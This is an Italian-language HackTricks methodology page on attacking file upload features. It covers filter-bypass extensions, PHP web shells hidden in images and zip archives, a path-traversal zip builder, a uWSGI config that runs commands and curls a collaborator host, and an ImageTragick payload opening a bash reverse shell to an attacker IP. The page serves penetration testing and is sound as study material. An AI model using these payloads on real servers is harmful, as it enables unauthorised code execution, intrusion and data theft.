File Upload

Reading time: 17 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

File Upload General Methodology

Altre estensioni utili:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. Se applicabile, controlla le estensioni precedenti. Provale anche usando alcune lettere maiuscole: pHp, .pHP5, .PhAr ...
  2. Controlla aggiungendo un'estensione valida prima dell'estensione di esecuzione (usa anche le estensioni precedenti):
  • file.png.php
  • file.png.Php5
  1. Prova ad aggiungere caratteri speciali alla fine. Puoi usare Burp per bruteforce tutti i caratteri ascii e Unicode. (Nota che puoi anche provare a usare le estensioni precedentemente menzionate)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Prova a bypassare le protezioni ingannando il parser delle estensioni del server con tecniche come raddoppiare l'estensione o aggiungere dati spazzatura (byte null) tra le estensioni. Puoi anche usare le estensioni precedenti per preparare un payload migliore.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Aggiungi un altro livello di estensioni al controllo precedente:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Prova a mettere l'estensione di esecuzione prima dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione _.php**_, ma non necessariamente che termina in .php** eseguirĂ  codice):
  • ex: file.php.png
  1. Usando NTFS alternate data stream (ADS) in Windows. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un file vuoto con l'estensione vietata verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “::$data” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
  2. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
# Linux massimo 255 byte
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
# Carica il file e controlla la risposta su quanti caratteri consente. Diciamo 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crea il payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type controlli impostando il valore dell'intestazione Content-Type a: image/png, text/plain, application/octet-stream_
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number controllando aggiungendo all'inizio del file i byte di una vera immagine (confondere il comando file). Oppure introduci la shell all'interno dei metadati:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ oppure puoi anche introdurre direttamente il payload in un'immagine:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Se la compressione viene aggiunta alla tua immagine, ad esempio utilizzando alcune librerie PHP standard come PHP-GD, le tecniche precedenti non saranno utili. Tuttavia, puoi utilizzare la tecnica del chunk PLTE definita qui per inserire del testo che sopravviverĂ  alla compressione.
  • Github con il codice
  • La pagina web potrebbe anche ridimensionare l'immagine, utilizzando ad esempio le funzioni PHP-GD imagecopyresized o imagecopyresampled. Tuttavia, puoi utilizzare la tecnica del chunk IDAT definita qui per inserire del testo che sopravviverĂ  alla compressione.
  • Github con il codice
  • Un'altra tecnica per creare un payload che sopravvive a un ridimensionamento dell'immagine, utilizzando la funzione PHP-GD thumbnailImage. Tuttavia, puoi utilizzare la tecnica del chunk tEXt definita qui per inserire del testo che sopravviverĂ  alla compressione.
  • Github con il codice

Other Tricks to check

  • Trova una vulnerabilitĂ  per rinominare il file giĂ  caricato (per cambiare l'estensione).
  • Trova una vulnerabilitĂ  di Local File Inclusion per eseguire il backdoor.
  • Possibile divulgazione di informazioni:
  1. Carica piĂš volte (e allo stesso tempo) lo stesso file con lo stesso nome
  2. Carica un file con il nome di un file o cartella che esiste giĂ 
  3. Caricando un file con “.”, “..”, o “…” come nome. Ad esempio, in Apache in Windows, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”.
  4. Carica un file che potrebbe non essere facilmente eliminato come “…:.jpg” in NTFS. (Windows)
  5. Carica un file in Windows con caratteri non validi come |<>*?” nel suo nome. (Windows)
  6. Carica un file in Windows usando nomi riservati (vietati) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
  • Prova anche a caricare un eseguibile (.exe) o un .html (meno sospetto) che eseguirĂ  codice quando accidentalmente aperto dalla vittima.

Special extension tricks

Se stai cercando di caricare file su un server PHP, dai un'occhiata al trucco .htaccess per eseguire codice.
Se stai cercando di caricare file su un server ASP, dai un'occhiata al trucco .config per eseguire codice.

I file .phar sono come i .jar per java, ma per php, e possono essere usati come un file php (eseguendolo con php, o includendolo all'interno di uno script...)

L'estensione .inc è a volte usata per file php che sono solo usati per importare file, quindi, a un certo punto, qualcuno potrebbe aver permesso questa estensione di essere eseguita.

Jetty RCE

Se puoi caricare un file XML su un server Jetty puoi ottenere RCE perchĂŠ nuovi *.xml e *.war vengono elaborati automaticamente. Quindi, come menzionato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/ e aspettati la shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Per un'esplorazione dettagliata di questa vulnerabilitĂ  controlla la ricerca originale: uWSGI RCE Exploitation.

Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la possibilità di modificare il file di configurazione .ini. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come @(filename), è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione .ini viene elaborato.

Considera il seguente esempio di un file uwsgi.ini dannoso, che mostra vari schemi:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

L'esecuzione del payload avviene durante l'analisi del file di configurazione. AffinchĂŠ la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco di Denial of Service) oppure il file deve essere impostato per il caricamento automatico. La funzione di caricamento automatico, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche.

È fondamentale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente l'ambito di potenziale sfruttamento.

wget File Upload/SSRF Trick

In alcune occasioni potresti scoprire che un server sta utilizzando wget per scaricare file e puoi indicare l'URL. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, questo controllo può essere eluso.
La lunghezza massima di un nome file in linux è 255, tuttavia, wget tronca i nomi dei file a 236 caratteri. Puoi scaricare un file chiamato "A"*232+".php"+".gif", questo nome file eluderà il controllo (poichÊ in questo esempio ".gif" è un'estensione valida) ma wget rinominerà il file in "A"*232+".php".

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Nota che un'altra opzione che potresti considerare per bypassare questo controllo è far sÏ che il server HTTP reindirizzi a un file diverso, quindi l'URL iniziale bypasserà il controllo e wget scaricherà il file reindirizzato con il nuovo nome. Questo non funzionerà a meno che wget non venga utilizzato con il parametro --trust-server-names perchÊ wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale.

Strumenti

  • Upload Bypass è uno strumento potente progettato per assistere i Pentester e i Bug Hunter nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilitĂ , garantendo valutazioni approfondite delle applicazioni web.

Da upload di file ad altre vulnerabilitĂ 

Ecco una lista delle 10 cose che puoi ottenere caricando (da qui):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Estensione Burp

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Fai riferimento a https://en.wikipedia.org/wiki/List_of_file_signatures per altri tipi di file.

Upload di file Zip/Tar automaticamente decompresso

Se puoi caricare un ZIP che verrĂ  decompresso all'interno del server, puoi fare 2 cose:

Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompresso accederai ai file collegati:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.

Un exploit automatizzato per creare tali file è disponibile su evilarc on GitHub. L'utilità può essere utilizzata come mostrato:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Inoltre, il trucco del symlink con evilarc è un'opzione. Se l'obiettivo è mirare a un file come /flag.txt, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.

Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusare della compressione per il file spraying

Per ulteriori dettagli controlla il post originale in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creazione di una Shell PHP: Il codice PHP è scritto per eseguire comandi passati attraverso la variabile $_REQUEST.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying e Creazione di File Compressi: Vengono creati piĂš file e viene assemblato un archivio zip contenente questi file.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modifica con un Hex Editor o vi: I nomi dei file all'interno dello zip vengono modificati utilizzando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory.
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilitĂ  (ImageMagick , 7.0.1-1) (forma dell' exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

L'incorporamento di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni imagecopyresized e imagecopyresampled di PHP-GD sono particolarmente rilevanti in questo contesto, poichÊ sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.

Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: "Encoding Web Shells in PNG IDAT chunks". Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.

Maggiore informazione in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in piÚ formati di file contemporaneamente. Un esempio intrigante è un GIFAR, un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa combinazione; sono anche fattibili combinazioni come GIF e JS o PPT e JS.

L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.

Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.

Maggiore informazione in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

References

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks